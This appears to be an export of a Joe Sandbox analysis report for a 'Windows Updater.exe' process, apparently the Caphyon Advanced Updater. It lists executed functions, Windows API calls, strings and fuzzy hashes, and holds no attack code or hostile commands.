Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: a4a19007943ec85cc19fcdec5d4b7f7d82bf6a1d8c0d4c5ffa1ca3480b44ef31
Instruction ID: 1b4fc98472eafad470f6e7ba1ae67dcd645ff741312ae001d6859840e2c10bf9
Opcode Fuzzy Hash: a4a19007943ec85cc19fcdec5d4b7f7d82bf6a1d8c0d4c5ffa1ca3480b44ef31
Instruction Fuzzy Hash: 18813770D00259DFDF11DFA8C845BEEBBF8BF15314F244569E811AB281D7B8AA04CBA1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Windows Updater.exePID: 5572, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	5.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	35

Executed Functions

Function 00098770 Relevance: 26.4, APIs: 17, Instructions: 897
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001C.00000002.2533254784.0000000000061000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00060000, based on PE: true

Associated: 0000001C.00000002.2533231425.0000000000060000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534122744.000000000010F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534199498.000000000013C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534273383.000000000013F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_60000_Windows Updater.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: a24c8fe961180e31f6dc3e11bfe0b09eb7c71c0401ffa3d9d45cf41938db301c
Instruction ID: 0efd49009964f0c8edbe88b2d85118646668953221d61c37faa3ae4822ec9edb
Opcode Fuzzy Hash: a24c8fe961180e31f6dc3e11bfe0b09eb7c71c0401ffa3d9d45cf41938db301c
Instruction Fuzzy Hash: 45628D71A00209EFDF10CFA8C845BAEBBF8FF45714F148259E915AB391DB759A04DB90

Uniqueness

Uniqueness Score: -1.00%

Function 000C8850 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 176
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.OLE32(00000000,00000002,8726ECAD,?,?,?,?,?,0010B93D,000000FF), ref: 000C88A1
DefWindowProcW.USER32(00000000,00000000,00000000,00000000,?,?,?,?,?,0010B93D,000000FF), ref: 000C88AF
InitCommonControlsEx.COMCTL32(?,?,?,?,?,?,0010B93D,000000FF), ref: 000C88C7
LoadLibraryW.KERNEL32(RICHED20.DLL,?,?,?,?,?,0010B93D,000000FF), ref: 000C88D2

Part of subcall function 000C8F10: GetCurrentThreadId.KERNEL32 ref: 000C8F6D

FreeLibrary.KERNEL32(00000000,?,?,0010B93D,000000FF), ref: 000C893B
EnterCriticalSection.KERNEL32(0013E2E4,?,?,0010B93D,000000FF), ref: 000C8959
DestroyWindow.USER32(00000000,?,?,0010B93D,000000FF), ref: 000C8977
LeaveCriticalSection.KERNEL32(0013E2E4,?,?,0010B93D,000000FF), ref: 000C89C0
CoUninitialize.OLE32(?,?,0010B93D,000000FF), ref: 000C8A84

Strings

RICHED20.DLL, xrefs: 000C88CD

Memory Dump Source

Source File: 0000001C.00000002.2533254784.0000000000061000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00060000, based on PE: true

Associated: 0000001C.00000002.2533231425.0000000000060000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534122744.000000000010F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534199498.000000000013C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534273383.000000000013F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_60000_Windows Updater.jbxd

Similarity

API ID: CriticalLibrarySectionWindow$CommonControlsCurrentDestroyEnterFreeInitInitializeLeaveLoadProcThreadUninitialize
String ID: RICHED20.DLL
API String ID: 2001424392-992299850
Opcode ID: 910f78a3d4c7be16af1981f12548b733ecdf235b0a429191f244da377e428473
Instruction ID: 47a05232106df4badef6bff4d948e820bcfa46d552b90fd8ccf03acf75079735
Opcode Fuzzy Hash: 910f78a3d4c7be16af1981f12548b733ecdf235b0a429191f244da377e428473
Instruction Fuzzy Hash: 3161BD71900205DFEB20DF68CC49BAEBBF4BF04710F14812DE855AB691DBB0A944CB96

Uniqueness

Uniqueness Score: -1.00%

Function 000B4720 Relevance: 7.8, APIs: 5, Instructions: 326fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000,?,8726ECAD), ref: 000B4778
SetFilePointer.KERNEL32(00000000,00000002,00000000,00000000), ref: 000B47AD
ReadFile.KERNEL32(00000000,?,0000000A,?,00000000), ref: 000B47CF
ReadFile.KERNEL32(00000000,?,00000005,?,00000000), ref: 000B489E
CloseHandle.KERNEL32(?), ref: 000B498E

Memory Dump Source

Source File: 0000001C.00000002.2533254784.0000000000061000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00060000, based on PE: true

Associated: 0000001C.00000002.2533231425.0000000000060000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534122744.000000000010F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534199498.000000000013C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534273383.000000000013F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_60000_Windows Updater.jbxd

Similarity

API ID: File$Read$CloseCreateHandlePointer
String ID:
API String ID: 3856724686-0
Opcode ID: b0a241787a9b721b8736c5f7a80261ac13ddd685327cf0cba18e8bbf8f62bc3f
Instruction ID: 80908ba650ae03d77812238d87f4e7fa2852d4d1528f055812c2d0ea54bd884f
Opcode Fuzzy Hash: b0a241787a9b721b8736c5f7a80261ac13ddd685327cf0cba18e8bbf8f62bc3f
Instruction Fuzzy Hash: FCB1C131A00209DFDB64CF68C855BEEB7F5FF05714F248269E816A7292EB319E40CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0008C1A0 Relevance: 62.1, APIs: 28, Strings: 7, Instructions: 810fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,C0000000,00000000,0000000C,?,00000080,00000000), ref: 0008C44D
GetLastError.KERNEL32 ref: 0008C57C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0008C466

Part of subcall function 00064250: GetProcessHeap.KERNEL32 ref: 000642A5

Part of subcall function 00087CF0: InitializeCriticalSection.KERNEL32(?,8726ECAD,?), ref: 00087D2D
Part of subcall function 00087CF0: EnterCriticalSection.KERNEL32(?,8726ECAD,?), ref: 00087D3A
Part of subcall function 00087CF0: GetCurrentProcessId.KERNEL32( [PID=,00000006,0011F794,00000002), ref: 00087DD8
Part of subcall function 00087CF0: GetCurrentThreadId.KERNEL32 ref: 00087DF7

CloseHandle.KERNEL32(00000000), ref: 0008CB87

Strings

AsyncDownloadThread read 0 bytes., xrefs: 0008C90C
Failed to saved in file the bytes read, xrefs: 0008CA41
Creation of file to download on disk failed, xrefs: 0008C4E0
CreateSubFolders() failed, xrefs: 0008C2A2
%, xrefs: 0008CA95
S-1-5-18, xrefs: 0008C400
S-1-1-0, xrefs: 0008C3EC

Memory Dump Source

Source File: 0000001C.00000002.2533254784.0000000000061000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00060000, based on PE: true

Associated: 0000001C.00000002.2533231425.0000000000060000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534122744.000000000010F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534199498.000000000013C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534273383.000000000013F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_60000_Windows Updater.jbxd

Similarity

API ID: CriticalCurrentFileProcessSection$CloseCreateEnterErrorHandleHeapInitializeLastPointerThread
String ID: %$AsyncDownloadThread read 0 bytes.$CreateSubFolders() failed$Creation of file to download on disk failed$Failed to saved in file the bytes read$S-1-1-0$S-1-5-18
API String ID: 3757555869-250281917
Opcode ID: 3f262fb6da4131ef9e593204a384b03b23738bf49dea0e20f97594ec1a1713f2
Instruction ID: 7aa275be8d1aa065110b3ba5d324feafca41a13c3b4d68757dffbd3578daf238
Opcode Fuzzy Hash: 3f262fb6da4131ef9e593204a384b03b23738bf49dea0e20f97594ec1a1713f2
Instruction Fuzzy Hash: BA62BF70A00609DFEB54EF64C889FAE7BF1BF04314F148169E8959B292DB70DD45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 000689F0 Relevance: 26.6, APIs: 13, Strings: 2, Instructions: 390
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(Advapi32.dll,8726ECAD,00000000), ref: 00068A81
GetLastError.KERNEL32 ref: 00068AAF
GetProcAddress.KERNEL32(00000000,ConvertStringSidToSidW), ref: 00068AC5
FreeLibrary.KERNEL32(00000000), ref: 00068ADE
GetLastError.KERNEL32 ref: 00068AEB
GetLastError.KERNEL32 ref: 00068CD9
GetLastError.KERNEL32 ref: 00068D3E

Strings

Advapi32.dll, xrefs: 00068A7C
ConvertStringSidToSidW, xrefs: 00068ABF

Memory Dump Source

Source File: 0000001C.00000002.2533254784.0000000000061000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00060000, based on PE: true

Associated: 0000001C.00000002.2533231425.0000000000060000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534122744.000000000010F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534199498.000000000013C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534273383.000000000013F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_60000_Windows Updater.jbxd

Similarity

API ID: ErrorLast$Library$AddressFreeLoadProc
String ID: Advapi32.dll$ConvertStringSidToSidW
API String ID: 2084285179-1129428314
Opcode ID: 1482a73d3aed16ea228eaa89774c7221889880889bb6f3102865fa8ac73d6f13
Instruction ID: 483758dc89d79aa26abbaf8805aa11397b2c81805d3bced0a569faced9395c11
Opcode Fuzzy Hash: 1482a73d3aed16ea228eaa89774c7221889880889bb6f3102865fa8ac73d6f13
Instruction Fuzzy Hash: 90F18DB1C01209EFDB10CF94D9457DEBBB6FF08314F248229E915B7281EB75AA45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 000B6950 Relevance: 23.1, APIs: 9, Strings: 4, Instructions: 308
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00000104,8726ECAD,?,?,00000000,?,?,00000000,00107DCD,000000FF), ref: 000B699A
_wcsrchr.LIBVCRUNTIME ref: 000B6A2C
_wcsrchr.LIBVCRUNTIME ref: 000B6A8B
CopyFileW.KERNEL32(?,?,00000000,00000000,?,.exe,?,?,?,00000000,?,?,00000000,00107DCD,000000FF), ref: 000B6B26
SetFileAttributesW.KERNEL32(?,00000080,?,?,?,00000000,?,?,00000000,00107DCD,000000FF), ref: 000B6B34
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,.ini,?,?,?,00000000), ref: 000B6B90
WriteFile.KERNEL32(00000000,?,00000002,?,00000000,?,?,?,00000000,?,?,00000000,00107DCD,000000FF), ref: 000B6BBD
DeleteFileW.KERNEL32(?,?,?,?,00000000,?,?,00000000,00107DCD,000000FF), ref: 000B6BDF
GetLastError.KERNEL32(?,?,?,?,00000000,?,?,00000000,00107DCD,000000FF), ref: 000B6C29

Part of subcall function 00063430: FindResourceW.KERNEL32(00000000,00000001,00000006,?,00000000,?,00000000,?), ref: 000632F8

Strings

.exe, xrefs: 000B6ADC
.ini, xrefs: 000B6B3A
RealUpdaterPath, xrefs: 000B6C87
aiu, xrefs: 000B69D0

Memory Dump Source

Source File: 0000001C.00000002.2533254784.0000000000061000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00060000, based on PE: true

Associated: 0000001C.00000002.2533231425.0000000000060000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534122744.000000000010F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534199498.000000000013C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534273383.000000000013F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_60000_Windows Updater.jbxd

Similarity

API ID: File$_wcsrchr$AttributesCopyCreateDeleteErrorFindLastModuleNameResourceWrite
String ID: .exe$.ini$RealUpdaterPath$aiu
API String ID: 2718112306-2284992342
Opcode ID: e1a4806de4e7efa4109f09f9c21f1b4fccc3518efca7d90a99f041dac07581aa
Instruction ID: caf34cde0b80467668bf1ad703cd09473a20d07987a354b41f561435b5ff532b
Opcode Fuzzy Hash: e1a4806de4e7efa4109f09f9c21f1b4fccc3518efca7d90a99f041dac07581aa
Instruction Fuzzy Hash: 77B1D47060060AAFDB14DF68CD59BEEB7B5FF44310F148228E416976D2EB74A945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 000C2520 Relevance: 16.8, APIs: 11, Instructions: 341
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(?,?,00000001,?), ref: 000C25D2
GetLastError.KERNEL32 ref: 000C25DC
GetActiveWindow.USER32 ref: 000C269C
SetLastError.KERNEL32(0000000E), ref: 000C26BA
GetExitCodeThread.KERNEL32(?,00000000), ref: 000C2710

Memory Dump Source

Source File: 0000001C.00000002.2533254784.0000000000061000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00060000, based on PE: true

Associated: 0000001C.00000002.2533231425.0000000000060000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534122744.000000000010F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534199498.000000000013C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534273383.000000000013F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_60000_Windows Updater.jbxd

Similarity

API ID: ErrorLastThread$ActiveCodeExitMessagePostWindow
String ID:
API String ID: 1742873593-0
Opcode ID: 6ab603af32c8de4f13eb7d1fda84ad870636ded751e19a729c074bdfbd0db74d
Instruction ID: cbb5388e657b25408952fcd41bfcf775beeb459447870f3604f00b3d504d8d90
Opcode Fuzzy Hash: 6ab603af32c8de4f13eb7d1fda84ad870636ded751e19a729c074bdfbd0db74d
Instruction Fuzzy Hash: 58E19B70900248DFEB11CF68C888BDDBBF9AF04314F14826DF8189B692D7B5D989CB90

Uniqueness

Uniqueness Score: -1.00%

Function 000C48F0 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 331
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00064250: GetProcessHeap.KERNEL32 ref: 000642A5

Part of subcall function 00063430: FindResourceW.KERNEL32(00000000,00000001,00000006,?,00000000,?,00000000,?), ref: 000632F8

RegOpenKeyExW.KERNEL32(?,?,00000000,00020019,?,?,?,?,?,?,?,?,0010AE26,000000FF), ref: 000C49D6
RegCloseKey.ADVAPI32(?,?,ConfigFilePath,?,?,?,?,?,?,0010AE26,000000FF), ref: 000C4AD6
GetModuleFileNameW.KERNEL32(00000000,00000104,ConfigFilePath,?,?,?,?,?,?,0010AE26,000000FF), ref: 000C4B1D
_wcsrchr.LIBVCRUNTIME ref: 000C4BA6
RegCloseKey.ADVAPI32(?,?,?,-00000010,?,?,?,?,?,?,0010AE26,000000FF), ref: 000C4C38
RegCloseKey.ADVAPI32(?,?,.ini,00000004,?,-00000010,?,?,?,?,?,?,0010AE26,000000FF), ref: 000C4C9B

Strings

Software\Caphyon\Advanced Updater\Settings, xrefs: 000C495C, 000C496C
ConfigFilePath, xrefs: 000C4A3C, 000C4A4C
.ini, xrefs: 000C4BD7, 000C4C4F

Memory Dump Source

Source File: 0000001C.00000002.2533254784.0000000000061000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00060000, based on PE: true

Associated: 0000001C.00000002.2533231425.0000000000060000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534122744.000000000010F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534199498.000000000013C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534273383.000000000013F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_60000_Windows Updater.jbxd

Similarity

API ID: Close$FileFindHeapModuleNameOpenProcessResource_wcsrchr
String ID: .ini$ConfigFilePath$Software\Caphyon\Advanced Updater\Settings
API String ID: 339666702-2585319053
Opcode ID: 23afabf3ac4c2371527b25977a1788a089b087e786ed15c717a69dbf9d60602f
Instruction ID: 4f676df049c906ea33893ac6d16a81340ddef51f5bb2d8bb5bd1328c8f9592e9
Opcode Fuzzy Hash: 23afabf3ac4c2371527b25977a1788a089b087e786ed15c717a69dbf9d60602f
Instruction Fuzzy Hash: 51D19E7090120A9FDB00DFA8C959BEEB7F5BF44314F148259E415AB2A2DB749E04CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0009E3D0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 204
filesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000AFA40: GetModuleFileNameW.KERNEL32(00000000,00000104,00000104), ref: 000AFA6A
Part of subcall function 000AFA40: RegisterWindowMessageW.USER32(00000000,?), ref: 000AFABD

ShowWindow.USER32(00000000,00000002,8726ECAD,?,?,00000000), ref: 0009E41A
ShowWindow.USER32(00000000,00000001,?,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0009E424

Part of subcall function 00068770: RaiseException.KERNEL32(00000000,00000000,00000000,00000000,000D679F,C000008C,00000001,?,000D67D0,00000000,?,00000000,?,00063D67,00000000,8726ECAD), ref: 0006877C

OpenEventW.KERNEL32(00100000,00000000,00000000,00000000,00000001,?,00000000), ref: 0009E55A
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 0009E576
CloseHandle.KERNEL32(?), ref: 0009E584
UnmapViewOfFile.KERNEL32(?), ref: 0009E599
CloseHandle.KERNEL32(00000000), ref: 0009E5B6

Strings

.bat, xrefs: 0009E4EB

Memory Dump Source

Source File: 0000001C.00000002.2533254784.0000000000061000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00060000, based on PE: true

Associated: 0000001C.00000002.2533231425.0000000000060000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534122744.000000000010F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534199498.000000000013C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534273383.000000000013F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_60000_Windows Updater.jbxd

Similarity

API ID: Window$CloseFileHandleShow$EventExceptionMessageModuleNameObjectOpenRaiseRegisterSingleUnmapViewWait
String ID: .bat
API String ID: 4248157538-24442780
Opcode ID: 62822a36e809dd42ba0a6835f1363d618b25af8af723f7d27489bc0df991f449
Instruction ID: 0a26bf989197ed634ba866a196719886996fabb8eec8aa082fd65ffee38517c6
Opcode Fuzzy Hash: 62822a36e809dd42ba0a6835f1363d618b25af8af723f7d27489bc0df991f449
Instruction Fuzzy Hash: D771EF31A00A55EBDF21DF68C845BAEBBE4EF14324F158269F814AB292DB71DD00CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 000B2450 Relevance: 13.7, APIs: 9, Instructions: 151fileCOMMON

Download Yara Rule

APIs

OpenFileMappingW.KERNELBASE(00000004,00000000,?,?,8726ECAD,?,000B4AA0,?,?,00120D60), ref: 000B2495
GetLastError.KERNEL32(?,000B4AA0,?,?,00120D60), ref: 000B24A2
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000,?,000B4AA0,?,?,00120D60), ref: 000B24DD
GetLastError.KERNEL32(?,000B4AA0,?,?,00120D60), ref: 000B24ED
CloseHandle.KERNEL32(?,?,?,?,?,000B4AA0,?,?,00120D60), ref: 000B255E
UnmapViewOfFile.KERNEL32(?,?,?,?,?,000B4AA0,?,?,00120D60), ref: 000B2572
OpenEventW.KERNEL32(00000002,00000000,?,?,?,?,?,?,000B4AA0,?,?,00120D60), ref: 000B259B
SetEvent.KERNEL32(00000000), ref: 000B25B6
CloseHandle.KERNEL32(00000000), ref: 000B25CC

Memory Dump Source

Source File: 0000001C.00000002.2533254784.0000000000061000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00060000, based on PE: true

Associated: 0000001C.00000002.2533231425.0000000000060000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534122744.000000000010F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534199498.000000000013C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534273383.000000000013F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_60000_Windows Updater.jbxd

Similarity

API ID: File$CloseErrorEventHandleLastOpenView$MappingUnmap
String ID:
API String ID: 228536551-0
Opcode ID: 2df7fab11a426d53f04386fe95b2c01c0eb263d6ffad7b467d430c33e28bb006
Instruction ID: 976829c4a6d38c1f8e479d2180de69a0cde092924438f8dfc4bf688bc23e70b0
Opcode Fuzzy Hash: 2df7fab11a426d53f04386fe95b2c01c0eb263d6ffad7b467d430c33e28bb006
Instruction Fuzzy Hash: 70517D74A00605DBDB20DF68CC49B9ABBB9EF04324F248369E824E76D1D774D9418FA0

Uniqueness

Uniqueness Score: -1.00%

Function 000A0490 Relevance: 7.8, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

Part of subcall function 00064250: GetProcessHeap.KERNEL32 ref: 000642A5

GetPrivateProfileStringW.KERNEL32(?,?,00000010,00000000,00000100,00000002), ref: 000A050A
GetPrivateProfileStringW.KERNEL32(?,?,00000010,00000000,00000100,00000002), ref: 000A0561
GetPrivateProfileSectionNamesW.KERNEL32(00000000,00000100,?), ref: 000A0630
GetPrivateProfileSectionNamesW.KERNEL32(00000000,00000100,?), ref: 000A0682
WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 000A07B5

Memory Dump Source

Source File: 0000001C.00000002.2533254784.0000000000061000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00060000, based on PE: true

Associated: 0000001C.00000002.2533231425.0000000000060000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534122744.000000000010F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534199498.000000000013C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534273383.000000000013F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_60000_Windows Updater.jbxd

Similarity

API ID: PrivateProfile$String$NamesSection$HeapProcessWrite
String ID:
API String ID: 305312363-0
Opcode ID: 55926cfa0be30715a766edbbc623d67a246cb0df8cbf7349675cca0f8894419e
Instruction ID: 258f157d04cf84bfd01c433a98752ca7bae38fb27720883e5cf131c0514c2518
Opcode Fuzzy Hash: 55926cfa0be30715a766edbbc623d67a246cb0df8cbf7349675cca0f8894419e
Instruction Fuzzy Hash: 4FA1A075901209EFDB10DFA8CC49BAEBBF5FF45310F108569E415AB3A2DB75AA04CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0008E9C0 Relevance: 7.6, APIs: 5, Instructions: 62synchronizationnetworkCOMMON

Download Yara Rule

APIs

ResetEvent.KERNEL32(?,?,?,?,0008DE32,?,?,?,?,?,00000003,00000000,8726ECAD,?,?), ref: 0008E9D3
InternetConnectW.WININET(0008DE32,0008DE32,0008DE32,0008DE32,0008DE32,0008DE32,0008DE32), ref: 0008E9F6
GetLastError.KERNEL32(?,?,?,0008DE32,?,?,?,?,?,00000003,00000000,8726ECAD,?,?), ref: 0008EA00
WaitForSingleObject.KERNEL32(?,0000000A,?,?,?,0008DE32,?,?,?,?,?,00000003,00000000,8726ECAD,?,?), ref: 0008EA31
SetEvent.KERNEL32(?,?,?,?,0008DE32,?,?,?,?,?,00000003,00000000,8726ECAD,?,?), ref: 0008EA56

Memory Dump Source

Source File: 0000001C.00000002.2533254784.0000000000061000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00060000, based on PE: true

Associated: 0000001C.00000002.2533231425.0000000000060000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534122744.000000000010F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534199498.000000000013C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534273383.000000000013F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_60000_Windows Updater.jbxd

Similarity

API ID: Event$ConnectErrorInternetLastObjectResetSingleWait
String ID:
API String ID: 3866874665-0
Opcode ID: 667a8787380e0fae7c18b5d7fdb4ca7d35bf91fa998c2168dd83d1d3449bf908
Instruction ID: 069b9bd02688e77cffcff710df93456def9ac81889f020174d94ee03e5b5f6b2
Opcode Fuzzy Hash: 667a8787380e0fae7c18b5d7fdb4ca7d35bf91fa998c2168dd83d1d3449bf908
Instruction Fuzzy Hash: 8D11A032200780DAD770AB65E888B577BD4FB65726F10883EE0C782961C370F895D751

Uniqueness

Uniqueness Score: -1.00%

Function 000A03D0 Relevance: 7.6, APIs: 5, Instructions: 60fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000,8726ECAD), ref: 000A040C
GetLastError.KERNEL32(?,?,?,?,001039FD,000000FF), ref: 000A042A
ReadFile.KERNEL32(00000000,?,00000004,?,00000000,?,?,?,?,001039FD,000000FF), ref: 000A0440
GetLastError.KERNEL32(?,?,?,?,001039FD,000000FF), ref: 000A044A
CloseHandle.KERNEL32(00000000,?,?,?,?,001039FD,000000FF), ref: 000A0469

Memory Dump Source

Source File: 0000001C.00000002.2533254784.0000000000061000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00060000, based on PE: true

Associated: 0000001C.00000002.2533231425.0000000000060000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534122744.000000000010F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534199498.000000000013C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534273383.000000000013F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_60000_Windows Updater.jbxd

Similarity

API ID: ErrorFileLast$CloseCreateHandleRead
String ID:
API String ID: 3160720760-0
Opcode ID: 859d8475277823b307213e66cddac8899824217023b24813706eeebaa132d29f
Instruction ID: 5585c4124c477f0e7bccc7e8b271d414f3617ad0f8dac7e086b26644b4b6d32e
Opcode Fuzzy Hash: 859d8475277823b307213e66cddac8899824217023b24813706eeebaa132d29f
Instruction Fuzzy Hash: 8C11CB71904209EFD7308FA4DC05BAEBBB9F749B24F10822AFA11F76D0D7B059408790

Uniqueness

Uniqueness Score: -1.00%

Function 000F0038 Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,000E5A17), ref: 000F003B
FreeEnvironmentStringsW.KERNEL32(00000000,?,?,?,000E5A17), ref: 000F007A

Memory Dump Source

Source File: 0000001C.00000002.2533254784.0000000000061000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00060000, based on PE: true

Associated: 0000001C.00000002.2533231425.0000000000060000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534122744.000000000010F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534199498.000000000013C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534273383.000000000013F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

